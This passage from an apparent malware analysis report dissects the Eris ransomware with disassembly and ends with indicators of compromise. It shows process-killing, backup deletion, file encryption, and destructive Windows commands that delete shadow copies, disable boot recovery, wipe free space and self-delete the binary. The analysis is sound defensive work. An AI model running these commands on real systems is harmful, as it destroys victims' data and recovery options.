0x0053d09d  call fcn.runtime.deferproc
0x0053d0a2  test eax, eax
0x0053d0a4  jne 0x53d31c
0x0053d0aa  lea eax, sym.type.Utils.PROCESSENTRY32
0x0053d0b0  mov dword [esp], eax
0x0053d0b3  call fcn.runtime.newobject
0x0053d0b8  mov eax, dword [var_4h]
0x0053d0bc  mov dword [var_48h], eax
0x0053d0c0  mov dword [eax], 0x22c
0x0053d0c6  lea ecx, sym.type._2_uintptr
0x0053d0cc  mov dword [esp], ecx
0x0053d0cf  call fcn.runtime.newobject
0x0053d0d4  mov eax, dword [var_4h]
0x0053d0d8  mov ecx, dword [var_34h]
0x0053d0dc  mov dword [eax], ecx
0x0053d0de  mov edx, dword [var_48h]
0x0053d0e2  mov dword [eax + 4], edx
0x0053d0e5  mov edx, dword [sym.pProcess32FirstW]
0x0053d0eb  mov dword [esp], edx
0x0053d0ee  mov dword [var_4h], eax
0x0053d0f2  mov dword [var_8h], 2
0x0053d0fa  mov dword [var_ch], 2
0x0053d102  call fcn.syscall___LazyProc_.Call
0x0053d107  mov eax, dword [var_10h]
```

If any of the running processes name contain any of the strings below, it is killed.

- sql

- backup
- malware
- server
- http
- apache
- agent

Code for killing the processes:

```
0x005fecdc  mov ecx, dword [slice_procs]
0x005fece3  cmp edx, ecx
0x005fece5  jge 0x5fe90b
0x005feceb  mov dword [var_d4h], edx
0x005fecf2  lea ecx, [eax + edx*8]
0x005fecf5  mov ebx, dword [ecx]
0x005fecf7  mov dword [var_a4h], ebx
0x005fecfe  mov ecx, dword [ecx + 4]
0x005fed01  mov dword [var_150h], ecx
0x005fed08  mov ebp, dword [ebx + 0x10]
0x005fed0b  mov dword [esp], ecx
0x005fed0e  call ebp
0x005fed10  mov eax, dword [var_4h]
0x005fed14  mov ecx, dword [var_8h]
0x005fed18  mov dword [esp], eax
0x005fed1b  mov dword [var_4h], ecx
0x005fed1f  mov eax, dword [0x874b38] ; List of strings
0x005fed25  mov ecx, dword [0x874b3c] ; 7
0x005fed2b  mov edx, dword [0x874b40] ; 7
0x005fed31  mov dword [var_8h], eax
0x005fed35  mov dword [var_ch], ecx
0x005fed39  mov dword [var_10h], edx
0x005fed3d  call fcn.Eris_Utils.Contains
0x005fed42  movzx eax, byte [var_14h]
0x005fed47  test al, al
0x005fed49  je 0x5feccb
0x005fed4b  mov eax, dword [var_a4h]
0x005fed52  mov eax, dword [eax + 0x18]
0x005fed55  mov ecx, dword [var_150h]
0x005fed5c  mov dword [esp], ecx
0x005fed5f  call eax
0x005fed61  nop
0x005fed62  mov eax, dword [var_4h]
0x005fed66  mov dword [esp], eax
0x005fed69  call fcn.os.findProcess
0x005fed6e  mov eax, dword [var_4h]
0x005fed72  mov ecx, dword [var_8h]
0x005fed76  test ecx, ecx
0x005fed78  jne 0x5feccb
0x005fed7e  nop
0x005fed7f  nop
0x005fed80  nop
0x005fed81  mov ecx, dword [0x874a48]
0x005fed87  mov edx, dword [0x874a4c]
0x005fed8d  mov dword [esp], eax
0x005fed90  mov dword [var_4h], ecx
0x005fed94  mov dword [var_8h], edx
0x005fed98  call fcn.os___Process_.signal
```

Release of IP address

If the username ends with *$*, the IP address for the machine is released:

```
0x005fe90b  lea eax, [0x67505a] ; "USERNAME"
0x005fe911  mov dword [esp], eax
0x005fe914  mov dword [var_4h], 8
0x005fe91c  call fcn.os.Getenv
0x005fe921  mov eax, dword [var_8h]
0x005fe925  mov ecx, dword [var_ch]
0x005fe929  lea edx, [ecx - 1]
0x005fe92c  cmp edx, ecx
0x005fe92e  ja 0x5ff6a5
0x005fe934  mov dword [username_str], eax
0x005fe93b  sub ecx, edx
0x005fe93d  mov dword [username_str_len], ecx
0x005fe944  mov ebx, ecx
0x005fe946  neg ecx
0x005fe948  sar ecx, 0x1f
0x005fe94b  and edx, ecx
0x005fe94d  mov dword [var_d0h], edx
0x005fe954  cmp ebx, 1
0x005fe957  jne 0x5fe966
0x005fe959  movzx ecx, byte [edx + eax]
0x005fe95d  cmp cl, 0x24 ; "$"
0x005fe960  je 0x5fec2d
...
0x005fec2d  mov dword [var_190h], 0
0x005fec38  mov dword [var_194h], 0
0x005fec43  lea eax, sym.type.string
0x005fec49  mov dword [var_190h], eax
0x005fec50  lea ecx, [0x6cecb0] ; "ipconfig /release"
0x005fec56  mov dword [var_194h], ecx
0x005fec5d  lea ecx, [0x674630] ; "/C %s"
0x005fec63  mov dword [esp], ecx
0x005fec66  mov dword [var_4h], 5
0x005fec6e  lea edx, [var_190h]
0x005fec75  mov dword [var_8h], edx
0x005fec79  mov dword [var_ch], 1
0x005fec81  mov dword [var_10h], 1
0x005fec89  call fcn.fmt.Sprintf
0x005fec8e  mov eax, dword [var_14h]
0x005fec92  mov ecx, dword [var_18h]
0x005fec96  lea edx, [0x674d1b] ; "cmd.exec"
0x005fec9c  mov dword [esp], edx
0x005fec9f  mov dword [var_4h], 7
0x005feca7  mov dword [var_8h], eax
0x005fecab  mov dword [var_ch], ecx
0x005fecaf  call fcn.Eris_Utils.Execute
0x005fecb4  jmp 0x5fe966
```

Encrypting files

The malware walks all the disks and encrypts the files. It can perform this process “multithreaded” if a command line flag is given. In this case, it uses one *Go* routine for each drive. The malware skips any folders containing the following strings:

- windows

- windows.old
- system volume information
- $recycle.bin
- program files
- program files (x86)
- programdata
- i386
- amd64
- sysvol

It also skip the following files:

- autoexec.bat
- boot.ini
- ntdetect.com
- msdos.sys
- io.sys
- pagefile.sys
- ntldr
- config.sys
- ntuser.dat

If the file has `_FLAG_ENCRYPTED_` at the end of the file, it is skipped.

Eris overwrites and deletes backup files with the following file extensions:

```
$$$, $db, 001, 001, 002, 003, 113, 73b, __a, __b, ab, aba, abbu, abf, abk, abu, abu1,
acp, acr, adi, adi, aea, afi, arc, arc, as4, asd, ashbak, asv, asvx, ate, ati, ba6,
ba7, ba8, bac, backup, backupdb, bak, bak, bak, bak, bak, bak2, bak3, bakx, bak~,
bbb, bbz, bck, bckp, bcm, bdb, bff, bif, bifx, bk1, bk1, bkc, bkf, bkp, bkp, bkup,
bkz, blend1, blend2, bm3, bmk, bookexport, bpa, bpb, bpm, bpn, bps, bup, bup, caa,
cbk, cbs, cbu, cenon~, ck9, cmf, crds, csd, csm, da0, dash, dba, dbk, dbk, dim, diy,
dna, dov, dpb, dsb, dss, fbc, fbf, fbk, fbk, fbu, fbw, fh, fhf, flka, flkb, fpsx,
ftmb, ful, fwbackup, fza, fzb, gb1, gb2, gbp, gho, ghs, gs-bck, ibk, icbu, icf,
inprogress, ipd, iv2i, j01, jbk, jdc, jpa, jps, kb2, lbf, lcb, llx, mbf, mbk, mbw,
mdbackup, mddata, mdinfo, mem, mig, mpb, msim, mv_, mynotesbackup, nb7, nba, nbak,
nbd, nbd, nbf, nbf, nbi, nbk, nbk, nbs, nbu, nco, nda, nfb, nfc, noy, npf, nps,
nrbak, nrs, nwbak, obk, oeb, old, onepkg, ori, orig, oyx, paq, pba, pbb, pbd, pbf,
pbf, pbj, pbx5script, pbxscript, pdb, pfi, pqb, pqb-backup, prv, psa, ptb, pvc, pvhd,
qba.tlg, qbb, qbk, qbm, qbmb, qbmd, qbx, qic, qsf, qualsoftcode, quicken2015backup,
quicken2016backup, quicken2017backup, quickenbackup, qv~, rbc, rbf, rbf, rbf, rbk,
rbs, rdb, rgmb, rmbak, rrr, safenotebackup, sav, sbb, sbs, sbu, sdc, sim, sis, skb,
sme, sn1, sn2, sna, sns, spf, spg, spi, sps, sqb, srr, stg, sv$, sv2i, tbk, tdb,
tibkp, tib, tig, tis, tlg, tmp, tmp, tmr, trn, ttbk, uci, v2i, vbk, vbm, vbox-prev,
vpcbackup, vrb, w01, walletx, wbb, wbcat, wbk, win, win, wjf, wpb, wspak, wx, xbk,
xlk, yrcbck, zbfx, ~cw, vib, vkb
```

For each file a key is generated using *PBKDF2*. A random password is used with the salt of `[0x1,0x2,0x3,0x4,0x5,0x6,0x7,0x8]` and 1000 iterations. The key is encrypted with the victim's public key:

```
0x0053fc13  mov ecx, dword [0x87a654] ; rngReader from crypto/rand package
0x0053fc19  mov edx, dword [0x87a650]
0x0053fc1f  mov dword [esp], edx
0x0053fc22  mov dword [var_4h], ecx
0x0053fc26  mov dword [var_8h], eax
0x0053fc2a  mov dword [var_ch], 0x20 ; 32
0x0053fc32  mov dword [var_10h], 0x20 ; 32
0x0053fc3a  mov dword [var_14h], 0x20 ; 32
0x0053fc42  call fcn.io.ReadAtLeast
0x0053fc47  nop
0x0053fc48  lea eax, sym.type._8_uint8
0x0053fc4e  mov dword [esp], eax
0x0053fc51  call fcn.runtime.newobject
0x0053fc56  mov eax, dword [var_4h]
0x0053fc5a  mov ecx, dword [0x6ce388]
0x0053fc60  mov edx, dword [0x6ce38c]
0x0053fc66  mov dword [eax], ecx
0x0053fc68  mov dword [eax + 4], edx
0x0053fc6b  mov ecx, dword [var_12ch]
0x0053fc72  mov dword [esp], ecx
0x0053fc75  mov dword [var_4h], 0x20
0x0053fc7d  mov dword [var_8h], 0x20
0x0053fc85  mov dword [var_ch], eax
0x0053fc89  mov dword [var_10h], 8
0x0053fc91  mov dword [var_14h], 8
0x0053fc99  mov dword [var_18h], 0x3e8 ; 1000
0x0053fca1  mov dword [var_1ch], 8
0x0053fca9  lea eax, [0x68ae74]
0x0053fcaf  mov dword [var_20h], eax
0x0053fcb3  call fcn.golang.org_x_crypto_pbkdf2.Key
0x0053fcb8  mov eax, dword [var_24h]
0x0053fcbc  mov dword [var_108h], eax
0x0053fcc3  mov ecx, dword [var_2ch]
0x0053fcc7  mov dword [var_34h], ecx
0x0053fccb  mov edx, dword [var_28h]
0x0053fccf  mov dword [var_30h], edx
0x0053fcd3  mov ebx, dword [var_12ch]
0x0053fcda  mov dword [esp], ebx
0x0053fcdd  mov dword [var_4h], 0x20
0x0053fce5  mov dword [var_8h], 0x20
0x0053fced  mov ebp, dword [arg_13ch]
0x0053fcf4  mov dword [var_ch], ebp
0x0053fcf8  mov ebp, dword [arg_140h]
0x0053fcff  mov dword [var_10h], ebp
0x0053fd03  mov ebp, dword [arg_144h]
0x0053fd0a  mov dword [var_14h], ebp
0x0053fd0e  call fcn.Eris_Cryptography.RSAEncrypt
```

The file is encrypted with Salsa20 using the generated key for the file.

=== Preventing recovery ===

After encryption of the files, the following commands are executed:

```
taskkill.exe /f /im mysqld.exe
taskkill.exe /f /im sqlwriter.exe
taskkill.exe /f /im sqlserver.exe
taskkill.exe /f /im MSExchange*
taskkill.exe /f /im Microsoft.Exchange.*
vssadmin delete shadows /all /quiet
wmic shadowcopy delete
wbadmin delete catalog -quiet
bcdedit /set {default} bootstatuspolicy ignoreallfailures
bcdedit /set {default} recoveryenabled no
```

Code for executing the commands:

```
0x005fe9a6  xor eax, eax
0x005fe9a8  jmp 0x5fea59
0x005fe9ad  mov dword [var_cch], eax
0x005fe9b4  lea ecx, [esp + eax*8 + 0x200]
0x005fe9bb  mov edx, dword [ecx]
0x005fe9bd  mov ecx, dword [ecx + 4]
0x005fe9c0  mov dword [esp], edx
0x005fe9c3  mov dword [var_4h], ecx
0x005fe9c7  call fcn.runtime.convTstring
0x005fe9cc  mov eax, dword [var_8h]
0x005fe9d0  mov dword [var_190h], 0
0x005fe9db  mov dword [var_194h], 0
0x005fe9e6  lea ecx, sym.type.string
0x005fe9ec  mov dword [var_190h], ecx
0x005fe9f3  mov dword [var_194h], eax
0x005fe9fa  lea eax, [0x674630] ; "/C %s"
0x005fea00  mov dword [esp], eax
0x005fea03  mov dword [var_4h], 5
0x005fea0b  lea edx, [var_190h]
0x005fea12  mov dword [var_8h], edx
0x005fea16  mov dword [var_ch], 1
0x005fea1e  mov dword [var_10h], 1
0x005fea26  call fcn.fmt.Sprintf
0x005fea2b  mov eax, dword [var_14h]
0x005fea2f  mov ecx, dword [var_18h]
0x005fea33  lea edx, [0x674d1b] ; "cmd.exe"
0x005fea39  mov dword [esp], edx
0x005fea3c  mov dword [var_4h], 7
0x005fea44  mov dword [var_8h], eax
0x005fea48  mov dword [var_ch], ecx
0x005fea4c  call fcn.Eris_Utils.Execute
0x005fea51  mov eax, dword [var_cch]
0x005fea58  inc eax
0x005fea59  cmp eax, 0xa ; 10
0x005fea5c  jl 0x5fe9ad
```

For each drive letter, the malware executes `/C cipher /W:%DRIVE_LETTER%:` to perform a secure wipe.

```
0x005fea62  call fcn.Eris_Utils.GetDrive
0x005fea67  mov eax, dword [esp]
0x005fea6a  mov dword [var_16ch], eax
0x005fea71  mov ecx, dword [var_4h]
0x005fea75  mov dword [var_bch], ecx
0x005fea7c  xor edx, edx
0x005fea7e  jmp 0x5feb54
0x005fea83  mov dword [var_cch], edx
0x005fea8a  mov dword [esp], ebp
0x005fea8d  mov dword [var_4h], 1
0x005fea95  call fcn.strings.ToUpper
0x005fea9a  mov eax, dword [var_8h]
0x005fea9e  mov ecx, dword [var_ch]
0x005feaa2  mov dword [esp], eax
0x005feaa5  mov dword [var_4h], ecx
0x005feaa9  call fcn.runtime.convTstring
0x005feaae  mov eax, dword [var_8h]
0x005feab2  mov dword [var_190h], 0
0x005feabd  mov dword [var_194h], 0
0x005feac8  lea ecx, sym.type.string
0x005feace  mov dword [var_190h], ecx
0x005fead5  mov dword [var_194h], eax
0x005feadc  lea eax, [0x6775d1] ; "/C cipher /W:%s:"
0x005feae2  mov dword [esp], eax
0x005feae5  mov dword [var_4h], 0x10
0x005feaed  lea edx, [var_190h]
0x005feaf4  mov dword [var_8h], edx
0x005feaf8  mov dword [var_ch], 1
0x005feb00  mov dword [var_10h], 1
0x005feb08  call fcn.fmt.Sprintf
0x005feb0d  mov eax, dword [var_14h]
0x005feb11  mov ecx, dword [var_18h]
0x005feb15  lea edx, [0x674d1b] ; "cmd.exe"
0x005feb1b  mov dword [esp], edx
0x005feb1e  mov dword [var_4h], 7
0x005feb26  mov dword [var_8h], eax
0x005feb2a  mov dword [var_ch], ecx
0x005feb2e  call fcn.Eris_Utils.Execute
```

Self-removal

Finally the malware spawns a new process and exits. The spawned process first pings localhost to create a delay before it deletes the malware's binary file.

```
%WINDIR%\system32\cmd.exe /C ping 127.0.0.1 -n 3 > NUL && del /Q /F "%ERIS_FILE%"
```

IOCs

Pay panel

epaybfvlutydks6fpfwtwoe2fsph6vve2obgv6qbhyuqwkecbhsf7nyd.onion

C2

d9d120a3.ngrok.io

Hashes

- 2c7f9fbfd5421406bc88b62a70a570eada14d4a561689125dc8f3ef30e3afc91
- 33f54f227c26c5abdbe5e0f994082d5b89e1df145deef703948aeb268637d9ba
- 35fb8b1f9966d7d371cb4d513e3d63655c2357be8ef156850fe8927b13007c9e
- 48da454be70e5f12c359965cfb55cbe5f272ddc378ae9f08876faf1b510c21b6
- 99d19dd82330a1c437a64e7ca9896ad9d914de10c4f7aa2222b1a5bc4750f692
- d0d6fdd6ce8eccf722c8ee72485ae96c2fe0e2fe9e451c94454f1e8be9d9283b
- dcdf47ddca1c5f4f9bdd8528bc3e22031fbfd326ad0b4abc11e153bbd79363ec

Download STIX 2 bundle or MISP package here.